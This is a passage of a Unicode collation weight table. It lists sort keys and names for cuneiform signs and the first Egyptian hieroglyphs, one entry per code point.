+1232F ; [.4B4D.0020.0002] # CUNEIFORM SIGN UR2 TIMES HA +12330 ; [.4B4E.0020.0002] # CUNEIFORM SIGN UR2 TIMES NUN +12331 ; [.4B4F.0020.0002] # CUNEIFORM SIGN UR2 TIMES U2 +12332 ; [.4B50.0020.0002] # CUNEIFORM SIGN UR2 TIMES U2 PLUS ASH +12333 ; [.4B51.0020.0002] # CUNEIFORM SIGN UR2 TIMES U2 PLUS BI +12334 ; [.4B52.0020.0002] # CUNEIFORM SIGN UR4 +12335 ; [.4B53.0020.0002] # CUNEIFORM SIGN URI +12336 ; [.4B54.0020.0002] # CUNEIFORM SIGN URI3 +12337 ; [.4B55.0020.0002] # CUNEIFORM SIGN URU +12338 ; [.4B56.0020.0002] # CUNEIFORM SIGN URU TIMES A +12339 ; [.4B57.0020.0002] # CUNEIFORM SIGN URU TIMES ASHGAB +1233A ; [.4B58.0020.0002] # CUNEIFORM SIGN URU TIMES BAR +1233B ; [.4B59.0020.0002] # CUNEIFORM SIGN URU TIMES DUN +1233C ; [.4B5A.0020.0002] # CUNEIFORM SIGN URU TIMES GA +1233D ; [.4B5B.0020.0002] # CUNEIFORM SIGN URU TIMES GAL +1233E ; [.4B5C.0020.0002] # CUNEIFORM SIGN URU TIMES GAN2 TENU +1233F ; [.4B5D.0020.0002] # CUNEIFORM SIGN URU TIMES GAR +12340 ; [.4B5E.0020.0002] # CUNEIFORM SIGN URU TIMES GU +12341 ; [.4B5F.0020.0002] # CUNEIFORM SIGN URU TIMES HA +12342 ; [.4B60.0020.0002] # CUNEIFORM SIGN URU TIMES IGI +12343 ; [.4B61.0020.0002] # CUNEIFORM SIGN URU TIMES IM +12344 ; [.4B62.0020.0002] # CUNEIFORM SIGN URU TIMES ISH +12345 ; [.4B63.0020.0002] # CUNEIFORM SIGN URU TIMES KI +12346 ; [.4B64.0020.0002] # CUNEIFORM SIGN URU TIMES LUM +12347 ; [.4B65.0020.0002] # CUNEIFORM SIGN URU TIMES MIN +12348 ; [.4B66.0020.0002] # CUNEIFORM SIGN URU TIMES PA +12349 ; [.4B67.0020.0002] # CUNEIFORM SIGN URU TIMES SHE +1234A ; [.4B68.0020.0002] # CUNEIFORM SIGN URU TIMES SIG4 +1234B ; [.4B69.0020.0002] # CUNEIFORM SIGN URU TIMES TU +1234C ; [.4B6A.0020.0002] # CUNEIFORM SIGN URU TIMES U PLUS GUD +1234D ; [.4B6B.0020.0002] # CUNEIFORM SIGN URU TIMES UD +1234E ; [.4B6C.0020.0002] # CUNEIFORM SIGN URU TIMES URUDA +1234F ; [.4B6D.0020.0002] # CUNEIFORM SIGN URUDA +12350 ; [.4B6E.0020.0002] # CUNEIFORM SIGN URUDA TIMES U +12351 ; [.4B6F.0020.0002] # CUNEIFORM SIGN USH +12352 ; [.4B70.0020.0002] # CUNEIFORM SIGN USH TIMES A +12353 ; [.4B71.0020.0002] # CUNEIFORM SIGN USH TIMES KU +12354 ; [.4B72.0020.0002] # CUNEIFORM SIGN USH TIMES KUR +12355 ; [.4B73.0020.0002] # CUNEIFORM SIGN USH TIMES TAK4 +12356 ; [.4B74.0020.0002] # CUNEIFORM SIGN USHX +12357 ; [.4B75.0020.0002] # CUNEIFORM SIGN USH2 +12358 ; [.4B76.0020.0002] # CUNEIFORM SIGN USHUMX +12359 ; [.4B77.0020.0002] # CUNEIFORM SIGN UTUKI +1235A ; [.4B78.0020.0002] # CUNEIFORM SIGN UZ3 +1235B ; [.4B79.0020.0002] # CUNEIFORM SIGN UZ3 TIMES KASKAL +1235C ; [.4B7A.0020.0002] # CUNEIFORM SIGN UZU +1235D ; [.4B7B.0020.0002] # CUNEIFORM SIGN ZA +1235E ; [.4B7C.0020.0002] # CUNEIFORM SIGN ZA TENU +1235F ; [.4B7D.0020.0002] # CUNEIFORM SIGN ZA SQUARED TIMES KUR +12360 ; [.4B7E.0020.0002] # CUNEIFORM SIGN ZAG +12361 ; [.4B7F.0020.0002] # CUNEIFORM SIGN ZAMX +12362 ; [.4B80.0020.0002] # CUNEIFORM SIGN ZE2 +12363 ; [.4B81.0020.0002] # CUNEIFORM SIGN ZI +12364 ; [.4B82.0020.0002] # CUNEIFORM SIGN ZI OVER ZI +12365 ; [.4B83.0020.0002] # CUNEIFORM SIGN ZI3 +12366 ; [.4B84.0020.0002] # CUNEIFORM SIGN ZIB +12367 ; [.4B85.0020.0002] # CUNEIFORM SIGN ZIB KABA TENU +12368 ; [.4B86.0020.0002] # CUNEIFORM SIGN ZIG +12369 ; [.4B87.0020.0002] # CUNEIFORM SIGN ZIZ2 +1236A ; [.4B88.0020.0002] # CUNEIFORM SIGN ZU +1236B ; [.4B89.0020.0002] # CUNEIFORM SIGN ZU5 +1236C ; [.4B8A.0020.0002] # CUNEIFORM SIGN ZU5 TIMES A +1236D ; [.4B8B.0020.0002] # CUNEIFORM SIGN ZUBUR +1236E ; [.4B8C.0020.0002] # CUNEIFORM SIGN ZUM +1236F ; [.4B8D.0020.0002] # CUNEIFORM SIGN KAP ELAMITE +12370 ; [.4B8E.0020.0002] # CUNEIFORM SIGN AB TIMES NUN +12371 ; [.4B8F.0020.0002] # CUNEIFORM SIGN AB2 TIMES A +12372 ; [.4B90.0020.0002] # CUNEIFORM SIGN AMAR TIMES KUG +12373 ; [.4B91.0020.0002] # CUNEIFORM SIGN DAG KISIM5 TIMES U2 PLUS MASH +12374 ; [.4B92.0020.0002] # CUNEIFORM SIGN DAG3 +12375 ; [.4B93.0020.0002] # CUNEIFORM SIGN DISH PLUS SHU +12376 ; [.4B94.0020.0002] # CUNEIFORM SIGN DUB TIMES SHE +12377 ; [.4B95.0020.0002] # CUNEIFORM SIGN EZEN TIMES GUD +12378 ; [.4B96.0020.0002] # CUNEIFORM SIGN EZEN TIMES SHE +12379 ; [.4B97.0020.0002] # CUNEIFORM SIGN GA2 TIMES AN PLUS KAK PLUS A +1237A ; [.4B98.0020.0002] # CUNEIFORM SIGN GA2 TIMES ASH2 +1237B ; [.4B99.0020.0002] # CUNEIFORM SIGN GE22 +1237C ; [.4B9A.0020.0002] # CUNEIFORM SIGN GIG +1237D ; [.4B9B.0020.0002] # CUNEIFORM SIGN HUSH +1237E ; [.4B9C.0020.0002] # CUNEIFORM SIGN KA TIMES ANSHE +1237F ; [.4B9D.0020.0002] # CUNEIFORM SIGN KA TIMES ASH3 +12380 ; [.4B9E.0020.0002] # CUNEIFORM SIGN KA TIMES GISH +12381 ; [.4B9F.0020.0002] # CUNEIFORM SIGN KA TIMES GUD +12382 ; [.4BA0.0020.0002] # CUNEIFORM SIGN KA TIMES HI TIMES ASH2 +12383 ; [.4BA1.0020.0002] # CUNEIFORM SIGN KA TIMES LUM +12384 ; [.4BA2.0020.0002] # CUNEIFORM SIGN KA TIMES PA +12385 ; [.4BA3.0020.0002] # CUNEIFORM SIGN KA TIMES SHUL +12386 ; [.4BA4.0020.0002] # CUNEIFORM SIGN KA TIMES TU +12387 ; [.4BA5.0020.0002] # CUNEIFORM SIGN KA TIMES UR2 +12388 ; [.4BA6.0020.0002] # CUNEIFORM SIGN LAGAB TIMES GI +12389 ; [.4BA7.0020.0002] # CUNEIFORM SIGN LU2 SHESHIG TIMES BAD +1238A ; [.4BA8.0020.0002] # CUNEIFORM SIGN LU2 TIMES ESH2 PLUS LAL +1238B ; [.4BA9.0020.0002] # CUNEIFORM SIGN LU2 TIMES SHU +1238C ; [.4BAA.0020.0002] # CUNEIFORM SIGN MESH +1238D ; [.4BAB.0020.0002] # CUNEIFORM SIGN MUSH3 TIMES ZA +1238E ; [.4BAC.0020.0002] # CUNEIFORM SIGN NA4 +1238F ; [.4BAD.0020.0002] # CUNEIFORM SIGN NIN +12390 ; [.4BAE.0020.0002] # CUNEIFORM SIGN NIN9 +12391 ; [.4BAF.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES BAL +12392 ; [.4BB0.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES GI +12393 ; [.4BB1.0020.0002] # CUNEIFORM SIGN NU11 ROTATED NINETY DEGREES +12394 ; [.4BB2.0020.0002] # CUNEIFORM SIGN PESH2 ASTERISK +12395 ; [.4BB3.0020.0002] # CUNEIFORM SIGN PIR2 +12396 ; [.4BB4.0020.0002] # CUNEIFORM SIGN SAG TIMES IGI GUNU +12397 ; [.4BB5.0020.0002] # CUNEIFORM SIGN TI2 +12398 ; [.4BB6.0020.0002] # CUNEIFORM SIGN UM TIMES ME +12399 ; [.4BB7.0020.0002] # CUNEIFORM SIGN U U +12480 ; [.4BB8.0020.0002] # CUNEIFORM SIGN AB TIMES NUN TENU +12481 ; [.4BB9.0020.0002] # CUNEIFORM SIGN AB TIMES SHU2 +12482 ; [.4BBA.0020.0002] # CUNEIFORM SIGN AD TIMES ESH2 +12483 ; [.4BBB.0020.0002] # CUNEIFORM SIGN BAD TIMES DISH TENU +12484 ; [.4BBC.0020.0002] # CUNEIFORM SIGN BAHAR2 TIMES AB2 +12485 ; [.4BBD.0020.0002] # CUNEIFORM SIGN BAHAR2 TIMES NI +12486 ; [.4BBE.0020.0002] # CUNEIFORM SIGN BAHAR2 TIMES ZA +12487 ; [.4BBF.0020.0002] # CUNEIFORM SIGN BU OVER BU TIMES NA2 +12488 ; [.4BC0.0020.0002] # CUNEIFORM SIGN DA TIMES TAK4 +12489 ; [.4BC1.0020.0002] # CUNEIFORM SIGN DAG TIMES KUR +1248A ; [.4BC2.0020.0002] # CUNEIFORM SIGN DIM TIMES IGI +1248B ; [.4BC3.0020.0002] # CUNEIFORM SIGN DIM TIMES U U U +1248C ; [.4BC4.0020.0002] # CUNEIFORM SIGN DIM2 TIMES UD +1248D ; [.4BC5.0020.0002] # CUNEIFORM SIGN DUG TIMES ANSHE +1248E ; [.4BC6.0020.0002] # CUNEIFORM SIGN DUG TIMES ASH +1248F ; [.4BC7.0020.0002] # CUNEIFORM SIGN DUG TIMES ASH AT LEFT +12490 ; [.4BC8.0020.0002] # CUNEIFORM SIGN DUG TIMES DIN +12491 ; [.4BC9.0020.0002] # CUNEIFORM SIGN DUG TIMES DUN +12492 ; [.4BCA.0020.0002] # CUNEIFORM SIGN DUG TIMES ERIN2 +12493 ; [.4BCB.0020.0002] # CUNEIFORM SIGN DUG TIMES GA +12494 ; [.4BCC.0020.0002] # CUNEIFORM SIGN DUG TIMES GI +12495 ; [.4BCD.0020.0002] # CUNEIFORM SIGN DUG TIMES GIR2 GUNU +12496 ; [.4BCE.0020.0002] # CUNEIFORM SIGN DUG TIMES GISH +12497 ; [.4BCF.0020.0002] # CUNEIFORM SIGN DUG TIMES HA +12498 ; [.4BD0.0020.0002] # CUNEIFORM SIGN DUG TIMES HI +12499 ; [.4BD1.0020.0002] # CUNEIFORM SIGN DUG TIMES IGI GUNU +1249A ; [.4BD2.0020.0002] # CUNEIFORM SIGN DUG TIMES KASKAL +1249B ; [.4BD3.0020.0002] # CUNEIFORM SIGN DUG TIMES KUR +1249C ; [.4BD4.0020.0002] # CUNEIFORM SIGN DUG TIMES KUSHU2 +1249D ; [.4BD5.0020.0002] # CUNEIFORM SIGN DUG TIMES KUSHU2 PLUS KASKAL +1249E ; [.4BD6.0020.0002] # CUNEIFORM SIGN DUG TIMES LAK-020 +1249F ; [.4BD7.0020.0002] # CUNEIFORM SIGN DUG TIMES LAM +124A0 ; [.4BD8.0020.0002] # CUNEIFORM SIGN DUG TIMES LAM TIMES KUR +124A1 ; [.4BD9.0020.0002] # CUNEIFORM SIGN DUG TIMES LUH PLUS GISH +124A2 ; [.4BDA.0020.0002] # CUNEIFORM SIGN DUG TIMES MASH +124A3 ; [.4BDB.0020.0002] # CUNEIFORM SIGN DUG TIMES MES +124A4 ; [.4BDC.0020.0002] # CUNEIFORM SIGN DUG TIMES MI +124A5 ; [.4BDD.0020.0002] # CUNEIFORM SIGN DUG TIMES NI +124A6 ; [.4BDE.0020.0002] # CUNEIFORM SIGN DUG TIMES PI +124A7 ; [.4BDF.0020.0002] # CUNEIFORM SIGN DUG TIMES SHE +124A8 ; [.4BE0.0020.0002] # CUNEIFORM SIGN DUG TIMES SI GUNU +124A9 ; [.4BE1.0020.0002] # CUNEIFORM SIGN E2 TIMES KUR +124AA ; [.4BE2.0020.0002] # CUNEIFORM SIGN E2 TIMES PAP +124AB ; [.4BE3.0020.0002] # CUNEIFORM SIGN ERIN2 X +124AC ; [.4BE4.0020.0002] # CUNEIFORM SIGN ESH2 CROSSING ESH2 +124AD ; [.4BE5.0020.0002] # CUNEIFORM SIGN EZEN SHESHIG TIMES ASH +124AE ; [.4BE6.0020.0002] # CUNEIFORM SIGN EZEN SHESHIG TIMES HI +124AF ; [.4BE7.0020.0002] # CUNEIFORM SIGN EZEN SHESHIG TIMES IGI GUNU +124B0 ; [.4BE8.0020.0002] # CUNEIFORM SIGN EZEN SHESHIG TIMES LA +124B1 ; [.4BE9.0020.0002] # CUNEIFORM SIGN EZEN SHESHIG TIMES LAL +124B2 ; [.4BEA.0020.0002] # CUNEIFORM SIGN EZEN SHESHIG TIMES ME +124B3 ; [.4BEB.0020.0002] # CUNEIFORM SIGN EZEN SHESHIG TIMES MES +124B4 ; [.4BEC.0020.0002] # CUNEIFORM SIGN EZEN SHESHIG TIMES SU +124B5 ; [.4BED.0020.0002] # CUNEIFORM SIGN EZEN TIMES SU +124B6 ; [.4BEE.0020.0002] # CUNEIFORM SIGN GA2 TIMES BAHAR2 +124B7 ; [.4BEF.0020.0002] # CUNEIFORM SIGN GA2 TIMES DIM GUNU +124B8 ; [.4BF0.0020.0002] # CUNEIFORM SIGN GA2 TIMES DUG TIMES IGI GUNU +124B9 ; [.4BF1.0020.0002] # CUNEIFORM SIGN GA2 TIMES DUG TIMES KASKAL +124BA ; [.4BF2.0020.0002] # CUNEIFORM SIGN GA2 TIMES EREN +124BB ; [.4BF3.0020.0002] # CUNEIFORM SIGN GA2 TIMES GA +124BC ; [.4BF4.0020.0002] # CUNEIFORM SIGN GA2 TIMES GAR PLUS DI +124BD ; [.4BF5.0020.0002] # CUNEIFORM SIGN GA2 TIMES GAR PLUS NE +124BE ; [.4BF6.0020.0002] # CUNEIFORM SIGN GA2 TIMES HA PLUS A +124BF ; [.4BF7.0020.0002] # CUNEIFORM SIGN GA2 TIMES KUSHU2 PLUS KASKAL +124C0 ; [.4BF8.0020.0002] # CUNEIFORM SIGN GA2 TIMES LAM +124C1 ; [.4BF9.0020.0002] # CUNEIFORM SIGN GA2 TIMES LAM TIMES KUR +124C2 ; [.4BFA.0020.0002] # CUNEIFORM SIGN GA2 TIMES LUH +124C3 ; [.4BFB.0020.0002] # CUNEIFORM SIGN GA2 TIMES MUSH +124C4 ; [.4BFC.0020.0002] # CUNEIFORM SIGN GA2 TIMES NE +124C5 ; [.4BFD.0020.0002] # CUNEIFORM SIGN GA2 TIMES NE PLUS E2 +124C6 ; [.4BFE.0020.0002] # CUNEIFORM SIGN GA2 TIMES NE PLUS GI +124C7 ; [.4BFF.0020.0002] # CUNEIFORM SIGN GA2 TIMES SHIM +124C8 ; [.4C00.0020.0002] # CUNEIFORM SIGN GA2 TIMES ZIZ2 +124C9 ; [.4C01.0020.0002] # CUNEIFORM SIGN GABA ROTATED NINETY DEGREES +124CA ; [.4C02.0020.0002] # CUNEIFORM SIGN GESHTIN TIMES U +124CB ; [.4C03.0020.0002] # CUNEIFORM SIGN GISH TIMES GISH CROSSING GISH +124CC ; [.4C04.0020.0002] # CUNEIFORM SIGN GU2 TIMES IGI GUNU +124CD ; [.4C05.0020.0002] # CUNEIFORM SIGN GUD PLUS GISH TIMES TAK4 +124CE ; [.4C06.0020.0002] # CUNEIFORM SIGN HA TENU GUNU +124CF ; [.4C07.0020.0002] # CUNEIFORM SIGN HI TIMES ASH OVER HI TIMES ASH +124D0 ; [.4C08.0020.0002] # CUNEIFORM SIGN KA TIMES BU +124D1 ; [.4C09.0020.0002] # CUNEIFORM SIGN KA TIMES KA +124D2 ; [.4C0A.0020.0002] # CUNEIFORM SIGN KA TIMES U U U +124D3 ; [.4C0B.0020.0002] # CUNEIFORM SIGN KA TIMES UR +124D4 ; [.4C0C.0020.0002] # CUNEIFORM SIGN LAGAB TIMES ZU OVER ZU +124D5 ; [.4C0D.0020.0002] # CUNEIFORM SIGN LAK-003 +124D6 ; [.4C0E.0020.0002] # CUNEIFORM SIGN LAK-021 +124D7 ; [.4C0F.0020.0002] # CUNEIFORM SIGN LAK-025 +124D8 ; [.4C10.0020.0002] # CUNEIFORM SIGN LAK-030 +124D9 ; [.4C11.0020.0002] # CUNEIFORM SIGN LAK-050 +124DA ; [.4C12.0020.0002] # CUNEIFORM SIGN LAK-051 +124DB ; [.4C13.0020.0002] # CUNEIFORM SIGN LAK-062 +124DC ; [.4C14.0020.0002] # CUNEIFORM SIGN LAK-079 OVER LAK-079 GUNU +124DD ; [.4C15.0020.0002] # CUNEIFORM SIGN LAK-080 +124DE ; [.4C16.0020.0002] # CUNEIFORM SIGN LAK-081 OVER LAK-081 +124DF ; [.4C17.0020.0002] # CUNEIFORM SIGN LAK-092 +124E0 ; [.4C18.0020.0002] # CUNEIFORM SIGN LAK-130 +124E1 ; [.4C19.0020.0002] # CUNEIFORM SIGN LAK-142 +124E2 ; [.4C1A.0020.0002] # CUNEIFORM SIGN LAK-210 +124E3 ; [.4C1B.0020.0002] # CUNEIFORM SIGN LAK-219 +124E4 ; [.4C1C.0020.0002] # CUNEIFORM SIGN LAK-220 +124E5 ; [.4C1D.0020.0002] # CUNEIFORM SIGN LAK-225 +124E6 ; [.4C1E.0020.0002] # CUNEIFORM SIGN LAK-228 +124E7 ; [.4C1F.0020.0002] # CUNEIFORM SIGN LAK-238 +124E8 ; [.4C20.0020.0002] # CUNEIFORM SIGN LAK-265 +124E9 ; [.4C21.0020.0002] # CUNEIFORM SIGN LAK-266 +124EA ; [.4C22.0020.0002] # CUNEIFORM SIGN LAK-343 +124EB ; [.4C23.0020.0002] # CUNEIFORM SIGN LAK-347 +124EC ; [.4C24.0020.0002] # CUNEIFORM SIGN LAK-348 +124ED ; [.4C25.0020.0002] # CUNEIFORM SIGN LAK-383 +124EE ; [.4C26.0020.0002] # CUNEIFORM SIGN LAK-384 +124EF ; [.4C27.0020.0002] # CUNEIFORM SIGN LAK-390 +124F0 ; [.4C28.0020.0002] # CUNEIFORM SIGN LAK-441 +124F1 ; [.4C29.0020.0002] # CUNEIFORM SIGN LAK-449 +124F2 ; [.4C2A.0020.0002] # CUNEIFORM SIGN LAK-449 TIMES GU +124F3 ; [.4C2B.0020.0002] # CUNEIFORM SIGN LAK-449 TIMES IGI +124F4 ; [.4C2C.0020.0002] # CUNEIFORM SIGN LAK-449 TIMES PAP PLUS LU3 +124F5 ; [.4C2D.0020.0002] # CUNEIFORM SIGN LAK-449 TIMES PAP PLUS PAP PLUS LU3 +124F6 ; [.4C2E.0020.0002] # CUNEIFORM SIGN LAK-449 TIMES U2 PLUS BA +124F7 ; [.4C2F.0020.0002] # CUNEIFORM SIGN LAK-450 +124F8 ; [.4C30.0020.0002] # CUNEIFORM SIGN LAK-457 +124F9 ; [.4C31.0020.0002] # CUNEIFORM SIGN LAK-470 +124FA ; [.4C32.0020.0002] # CUNEIFORM SIGN LAK-483 +124FB ; [.4C33.0020.0002] # CUNEIFORM SIGN LAK-490 +124FC ; [.4C34.0020.0002] # CUNEIFORM SIGN LAK-492 +124FD ; [.4C35.0020.0002] # CUNEIFORM SIGN LAK-493 +124FE ; [.4C36.0020.0002] # CUNEIFORM SIGN LAK-495 +124FF ; [.4C37.0020.0002] # CUNEIFORM SIGN LAK-550 +12500 ; [.4C38.0020.0002] # CUNEIFORM SIGN LAK-608 +12501 ; [.4C39.0020.0002] # CUNEIFORM SIGN LAK-617 +12502 ; [.4C3A.0020.0002] # CUNEIFORM SIGN LAK-617 TIMES ASH +12503 ; [.4C3B.0020.0002] # CUNEIFORM SIGN LAK-617 TIMES BAD +12504 ; [.4C3C.0020.0002] # CUNEIFORM SIGN LAK-617 TIMES DUN3 GUNU GUNU +12505 ; [.4C3D.0020.0002] # CUNEIFORM SIGN LAK-617 TIMES KU3 +12506 ; [.4C3E.0020.0002] # CUNEIFORM SIGN LAK-617 TIMES LA +12507 ; [.4C3F.0020.0002] # CUNEIFORM SIGN LAK-617 TIMES TAR +12508 ; [.4C40.0020.0002] # CUNEIFORM SIGN LAK-617 TIMES TE +12509 ; [.4C41.0020.0002] # CUNEIFORM SIGN LAK-617 TIMES U2 +1250A ; [.4C42.0020.0002] # CUNEIFORM SIGN LAK-617 TIMES UD +1250B ; [.4C43.0020.0002] # CUNEIFORM SIGN LAK-617 TIMES URUDA +1250C ; [.4C44.0020.0002] # CUNEIFORM SIGN LAK-636 +1250D ; [.4C45.0020.0002] # CUNEIFORM SIGN LAK-648 +1250E ; [.4C46.0020.0002] # CUNEIFORM SIGN LAK-648 TIMES DUB +1250F ; [.4C47.0020.0002] # CUNEIFORM SIGN LAK-648 TIMES GA +12510 ; [.4C48.0020.0002] # CUNEIFORM SIGN LAK-648 TIMES IGI +12511 ; [.4C49.0020.0002] # CUNEIFORM SIGN LAK-648 TIMES IGI GUNU +12512 ; [.4C4A.0020.0002] # CUNEIFORM SIGN LAK-648 TIMES NI +12513 ; [.4C4B.0020.0002] # CUNEIFORM SIGN LAK-648 TIMES PAP PLUS PAP PLUS LU3 +12514 ; [.4C4C.0020.0002] # CUNEIFORM SIGN LAK-648 TIMES SHESH PLUS KI +12515 ; [.4C4D.0020.0002] # CUNEIFORM SIGN LAK-648 TIMES UD +12516 ; [.4C4E.0020.0002] # CUNEIFORM SIGN LAK-648 TIMES URUDA +12517 ; [.4C4F.0020.0002] # CUNEIFORM SIGN LAK-724 +12518 ; [.4C50.0020.0002] # CUNEIFORM SIGN LAK-749 +12519 ; [.4C51.0020.0002] # CUNEIFORM SIGN LU2 GUNU TIMES ASH +1251A ; [.4C52.0020.0002] # CUNEIFORM SIGN LU2 TIMES DISH +1251B ; [.4C53.0020.0002] # CUNEIFORM SIGN LU2 TIMES HAL +1251C ; [.4C54.0020.0002] # CUNEIFORM SIGN LU2 TIMES PAP +1251D ; [.4C55.0020.0002] # CUNEIFORM SIGN LU2 TIMES PAP PLUS PAP PLUS LU3 +1251E ; [.4C56.0020.0002] # CUNEIFORM SIGN LU2 TIMES TAK4 +1251F ; [.4C57.0020.0002] # CUNEIFORM SIGN MI PLUS ZA7 +12520 ; [.4C58.0020.0002] # CUNEIFORM SIGN MUSH OVER MUSH TIMES GA +12521 ; [.4C59.0020.0002] # CUNEIFORM SIGN MUSH OVER MUSH TIMES KAK +12522 ; [.4C5A.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES DIM GUNU +12523 ; [.4C5B.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES GISH +12524 ; [.4C5C.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES GUL +12525 ; [.4C5D.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES HI +12526 ; [.4C5E.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES KESH2 +12527 ; [.4C5F.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES LAK-050 +12528 ; [.4C60.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES MASH +12529 ; [.4C61.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES PAP PLUS PAP +1252A ; [.4C62.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES U +1252B ; [.4C63.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES U PLUS U +1252C ; [.4C64.0020.0002] # CUNEIFORM SIGN NINDA2 TIMES URUDA +1252D ; [.4C65.0020.0002] # CUNEIFORM SIGN SAG GUNU TIMES HA +1252E ; [.4C66.0020.0002] # CUNEIFORM SIGN SAG TIMES EN +1252F ; [.4C67.0020.0002] # CUNEIFORM SIGN SAG TIMES SHE AT LEFT +12530 ; [.4C68.0020.0002] # CUNEIFORM SIGN SAG TIMES TAK4 +12531 ; [.4C69.0020.0002] # CUNEIFORM SIGN SHA6 TENU +12532 ; [.4C6A.0020.0002] # CUNEIFORM SIGN SHE OVER SHE +12533 ; [.4C6B.0020.0002] # CUNEIFORM SIGN SHE PLUS HUB2 +12534 ; [.4C6C.0020.0002] # CUNEIFORM SIGN SHE PLUS NAM2 +12535 ; [.4C6D.0020.0002] # CUNEIFORM SIGN SHE PLUS SAR +12536 ; [.4C6E.0020.0002] # CUNEIFORM SIGN SHU2 PLUS DUG TIMES NI +12537 ; [.4C6F.0020.0002] # CUNEIFORM SIGN SHU2 PLUS E2 TIMES AN +12538 ; [.4C70.0020.0002] # CUNEIFORM SIGN SI TIMES TAK4 +12539 ; [.4C71.0020.0002] # CUNEIFORM SIGN TAK4 PLUS SAG +1253A ; [.4C72.0020.0002] # CUNEIFORM SIGN TUM TIMES GAN2 TENU +1253B ; [.4C73.0020.0002] # CUNEIFORM SIGN TUM TIMES THREE DISH +1253C ; [.4C74.0020.0002] # CUNEIFORM SIGN UR2 INVERTED +1253D ; [.4C75.0020.0002] # CUNEIFORM SIGN UR2 TIMES UD +1253E ; [.4C76.0020.0002] # CUNEIFORM SIGN URU TIMES DARA3 +1253F ; [.4C77.0020.0002] # CUNEIFORM SIGN URU TIMES LAK-668 +12540 ; [.4C78.0020.0002] # CUNEIFORM SIGN URU TIMES LU3 +12541 ; [.4C79.0020.0002] # CUNEIFORM SIGN ZA7 +12542 ; [.4C7A.0020.0002] # CUNEIFORM SIGN ZU OVER ZU PLUS SAR +12543 ; [.4C7B.0020.0002] # CUNEIFORM SIGN ZU5 TIMES THREE DISH TENU +13000 ; [.4C7C.0020.0002] # EGYPTIAN HIEROGLYPH A001 +13001 ; [.4C7D.0020.0002] # EGYPTIAN HIEROGLYPH A002 +13002 ; [.4C7E.0020.0002] # EGYPTIAN HIEROGLYPH A003 +13003 ; [.4C7F.0020.0002] # EGYPTIAN HIEROGLYPH A004 +13004 ; [.4C80.0020.0002] # EGYPTIAN HIEROGLYPH A005 +13005 ; [.4C81.0020.0002] # EGYPTIAN HIEROGLYPH A005A +13006 ; [.4C82.0020.0002] # EGYPTIAN HIEROGLYPH A006 +13007 ; [.4C83.0020.0002] # EGYPTIAN HIEROGLYPH A006A +13008 ; [.4C84.0020.0002] # EGYPTIAN HIEROGLYPH A006B +13009 ; [.4C85.0020.0002] # EGYPTIAN HIEROGLYPH A007 +1300A ; [.4C86.0020.0002] # EGYPTIAN HIEROGLYPH A008 +1300B ; [.4C87.0020.0002] # EGYPTIAN HIEROGLYPH A009 +1300C ; [.4C88.0020.0002] # EGYPTIAN HIEROGLYPH A010 +1300D ; [.4C89.0020.0002] # EGYPTIAN HIEROGLYPH A011 +1300E ; [.4C8A.0020.0002] # EGYPTIAN HIEROGLYPH A012 +1300F ; [.4C8B.0020.0002] # EGYPTIAN HIEROGLYPH A013 +13010 ; [.4C8C.0020.0002] # EGYPTIAN HIEROGLYPH A014 +13011 ; [.4C8D.0020.0002] # EGYPTIAN HIEROGLYPH A014A +13012 ; [.4C8E.0020.0002] # EGYPTIAN HIEROGLYPH A015 +13013 ; [.4C8F.0020.0002] # EGYPTIAN HIEROGLYPH A016 +13014 ; [.4C90.0020.0002] # EGYPTIAN HIEROGLYPH A017 +13015 ; [.4C91.0020.0002] # EGYPTIAN HIEROGLYPH A017A +13016 ; [.4C92.0020.0002] # EGYPTIAN HIEROGLYPH A018 +13017 ; [.4C93.0020.0002] # EGYPTIAN HIEROGLYPH A019 +13018 ; [.4C94.0020.0002] # EGYPTIAN HIEROGLYPH A020 +13019 ; [.4C95.0020.0002] # EGYPTIAN HIEROGLYPH A021 +1301A ; [.4C96.0020.0002] # EGYPTIAN HIEROGLYPH A022 +1301B ; [.4C97.0020.0002] # EGYPTIAN HIEROGLYPH A023 +1301C ; [.4C98.0020.0002] # EGYPTIAN HIEROGLYPH A024 +1301D ; [.4C99.0020.0002] # EGYPTIAN HIEROGLYPH A025 +1301E ; [.4C9A.0020.0002] # EGYPTIAN HIEROGLYPH A026 +1301F ; [.4C9B.0020.0002] # EGYPTIAN HIEROGLYPH A027 +13020 ; [.4C9C.0020.0002] # EGYPTIAN HIEROGLYPH A028 +13021 ; [.4C9D.0020.0002] # EGYPTIAN HIEROGLYPH A029 +13022 ; [.4C9E.0020.0002] # EGYPTIAN HIEROGLYPH A030 +13023 ; [.4C9F.0020.0002] # EGYPTIAN HIEROGLYPH A031 +13024 ; [.4CA0.0020.0002] # EGYPTIAN HIEROGLYPH A032 +13025 ; [.4CA1.0020.0002] # EGYPTIAN HIEROGLYPH A032A +13026 ; [.4CA2.0020.0002] # EGYPTIAN HIEROGLYPH A033 +13027 ; [.4CA3.0020.0002] # EGYPTIAN HIEROGLYPH A034 +13028 ; [.4CA4.0020.0002] # EGYPTIAN HIEROGLYPH A035 +13029 ; [.4CA5.0020.0002] # EGYPTIAN HIEROGLYPH A036 +1302A ; [.4CA6.0020.0002] # EGYPTIAN HIEROGLYPH A037 +1302B ; [.4CA7.0020.0002] # EGYPTIAN HIEROGLYPH A038 +1302C ; [.4CA8.0020.0002] # EGYPTIAN HIEROGLYPH A039 +1302D ; [.4CA9.0020.0002] # EGYPTIAN HIEROGLYPH A040 +1302E ; [.4CAA.0020.0002] # EGYPTIAN HIEROGLYPH A040A +1302F ; [.4CAB.0020.0002] # EGYPTIAN HIEROGLYPH A041 +13030 ; [.4CAC.0020.0002] # EGYPTIAN HIEROGLYPH A042 +13031 ; [.4CAD.0020.0002] # EGYPTIAN HIEROGLYPH A042A +13032 ; [.4CAE.0020.0002] # EGYPTIAN HIEROGLYPH A043 +13033 ; [.4CAF.0020.0002] # EGYPTIAN HIEROGLYPH A043A +13034 ; [.4CB0.0020.0002] # EGYPTIAN HIEROGLYPH A044 